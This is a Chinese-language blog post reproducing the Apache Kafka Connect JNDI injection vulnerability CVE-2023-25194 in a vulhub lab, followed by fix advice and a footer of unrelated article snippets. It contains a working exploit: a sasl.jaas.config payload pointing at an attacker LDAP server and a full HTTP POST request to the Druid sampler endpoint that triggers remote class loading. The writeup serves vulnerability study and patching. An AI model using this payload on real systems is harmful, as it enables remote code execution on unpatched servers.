Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

2023-11-12

漏洞原理

	Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。
	通过 Aiven API 或 Kafka Connect REST API 配置连接器时,攻击者可以为连接器设置database.history.producer.sasl.jaas.config连接器属性io.debezium.connector.mysql.MySqlConnector。其他 debezium 连接器也可能如此。通过将连接器值设置为"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"

漏洞影响范围

2.3.0 <= Apache Kafka <= 3.3.2

漏洞复现过程

我是通过vulhub下载的环境,下载后直接启动即可。
在这里插入图片描述
打开页面,漏洞点在Load data功能页中。
在这里插入图片描述
在Load data功能页中的Streaming功能中。
在这里插入图片描述
在该功能中,将payload填写到Consumer properties属性值中即可。
在这里插入图片描述

"bootstrap.servers":"127.0.0.1:6666",
              "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
 "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.204.129:1389/bip2vt\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"

在这里插入图片描述
在payload提交前,请先在vps机器中开启ldap服务。
在这里插入图片描述
在这里插入图片描述

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 192.168.204.134:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 874
Origin: http://192.168.204.134:8888
DNT: 1
Connection: close
Referer: http://192.168.204.134:8888/unified-console.html
Cookie: io=iiZapP9jVyiNUZegAAAF

{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:6666",
      "sasl.mechanism":"SCRAM-SHA-256",
        "security.protocol":"SASL_SSL",
 "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.204.129:1389/bip2vt\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"},"topic":"aa","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

在这里插入图片描述
使用低版本的jdk中的ldap服务即可。

修复建议

1、升级版本。
2、无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

参考链接

Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194):https://blog.csdn.net/qq_41904294/article/details/129634971?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-129634971-blog-128962935.235%5Ev35%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-129634971-blog-128962935.235%5Ev35%5Epc_relevant_default_base&utm_relevant_index=2
CVE-2023-25194漏洞 Apache Kafka Connect JNDI注入漏洞:https://blog.csdn.net/Fiverya/article/details/128964828
Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析:https://blog.csdn.net/qq_38154820/article/details/129742672

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Kafka Connect JNDI注入漏洞复现(CVE-2023-25194) 的相关文章

随机推荐

  • Bcrypt 加密算法研究与对比

    Bcrypt 加密算法研究与对比 一 什么是Bcrypt 二 Bcrypt如何加密与验证 一 encode方法加密 二 matches方法验证 三 如果使用彩虹表进行hash碰撞攻击会如何 四 比较 MD5加密算法的缺陷 相对于MD5 Bc
  • 循环语句和字符串拼接

    1 循环语句 循环语句就是让一部分代码重复执行 JavaScript中常用的循环语句有 for while do while 1 for循环 2 while循环 3 do while循环 2 字符串拼接 字符串之间使用 运算符 说明 数字和
  • 基于BERT Adapter的词汇增强型中文序列标注模型

    原创作者 疯狂的Max 论文Lexicon Enhanced Chinese Sequence Labelling Using BERT Adapter 解读 01 背景与动机 近年来 多项研究致力于将词汇信息融入中文预训练模型中以提升命名
  • lstm代码_ARIMA时间序列与LSTM神经网络的PK

    作者 李应硕 人大在读 授权转载 收藏順便 点个 赞 创作不易 前言 时间序列算是我接触的第一个统计学实践项目 也是它把我带进了机器学习的大门 当时的我的工作是根据过往投资和赎回量 每天预估一个需要留的钱 有点类似银行准备金 我本想自己写个
  • Vijava 学习笔记之CustomizationPassword

    CustomizationPassword类介绍 包含密码字符串和一个标志 指定字符串是否为纯文本或加密 Properties NAME TYPE DESCRIPTION plainText xsd boolean Flag to spec
  • c语言中ln,lg,log的表示

    c标准头文件math h中有两个与log有关的函数声明 double cdecl log double X double cdecl log10 double X 1 2 其中log代表ln 即loge log10顾名思义就是lg loge
  • Arduino 初识+项目

    目录 Arduino初识 电路的基本知识 基于此就可以做一些有趣的小玩意 第一个大坑 串口通信 项目 基于Arduino板控制小车 几大问题 1 控制电机转动 2 麦轮的安装 3 电路连接 4 使用PWM调速 5 优化小车行驶的平稳性 PI
  • aarch64交叉编译libturbojpeg

    0 目的 因项目上有使用jpeg turbo的需求 用的aarch64的平台 需要使用交叉编译工具来获取libturbojpeg so 1 libturbojpeg下载 libturbojpeg源码git地址 GitHub libjpeg
  • Hyperledger Fabric如何通过虚拟机部署以太坊智能合约

    EVM作为用户链代码安装到Fabric中 然后可以通过它部署智能合约 单个EVM链代码足以在通道上运行多个以太坊智能合约 链码不采用以太坊的共识方法 所有事务仍将遵循Fabric事务流中的执行 订单 验证步骤 确保在不同组织中的足够对等方安
  • 判断子序列

    给定字符串 s 和 t 判断 s 是否为 t 的子序列 leetcode链接 你可以认为 s 和 t 中仅包含英文小写字母 字符串 t 可能会很长 长度 500 000 而 s是个短字符串 长度 lt 100 字符串的一个子序列是原始字符串
  • 项目经理与技术经理的区别

    项目经理和技术经理有什么区别 区别有多大呢 这个问题此前我从没有认真的去思考过 直到被明确的问到的时候 才细思极恐 连两者的区别都没能有条理的讲出来 一 关于项目经理 在没有真正进入软件行业之前 对于系统集成方面的项目还是有些心得的 有种一
  • 编译Linux内核获取LLVM bitcode (LLVM IR)

    最近要获取linux内核的llvm bitcode 以便后续进行分析 例如获取callgraph等等 尝试了很多提取llvm bitcode的方法 用build bom wllvm 过程中也出现了很多错误 最后用wllvm终于成功了 记录下
  • Docker容器与虚拟化技术:Docker资源控制、数据管理

    目录 一 理论 1 资源控制 2 Docker数据管理 二 实验 1 Docker资源控制 2 Docker数据管理 三 问题 1 docker容器故障导致大量日志集满 造成磁盘空间满 2 当日志占满之后如何处理 四 总结 一 理论 1 资
  • 【模电】0014 运放自激振荡和消除(补偿)

    一般我们讨论的负反馈放大电路多关注其幅频特性 也就是它的增益 而对其相频特性关注的不多 这主要是因为 一个放大电路如果它工作状态是稳定的 其输入和输出相差一定的相位对分析它的特性并不影响 只是相当于信号延迟了一点时间 注意这里有个前提条件
  • 关于IP网段间互访的问题——路由是根本

    文章出处 http blog csdn net dog250 archive 2010 02 09 5303291 aspx 之所以IP网段间可以互相访问 完全靠的就是路由 因此路由是IP通信的根本 IP是机器可以进行通信的资格证书 而路由
  • 【满分】【华为OD机试真题2023 JAVA&JS】工作安排

    华为OD机试真题 2023年度机试题库全覆盖 刷题指南点这里 工作安排 知识点循环数组贪心动态规划 时间限制 1s 空间限制 32MB 限定语言 不限 题目描述 小明每周上班都会拿到自己的工作清单 工作清单内包含n项工作 每项工作都有对应的
  • Vue Baidu Map使用

    百度地图官方提供的是常规
  • DS单链表--类实现

    用C 语言和类实现单链表 含头结点 属性包括 data数据域 next指针域 操作包括 插入 删除 查找 注意 单链表不是数组 所以位置从1开始对应首结点 头结点不放数据 输入 n 第1行先输入n表示有n个数据 接着输入n个数据 第2行输入
  • 螺旋队列(由里向外)

    假设有如下排列 21 22 20 7 8 9 10 19 6 1 2 11 18 5 4 3 12 17 16 15 14 13 1的坐标是 0 0 3的坐标是 1 1 7的坐标是 1 1 分析 第1层之内有1个数 第2层之内有9个数 第3
  • Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

    漏洞原理 Apache Kafka Connect中存在JNDI注入漏洞 当攻击者可访问Kafka Connect Worker 且可以创建或修改连接器时 通过设置sasl jaas config属性为com sun security au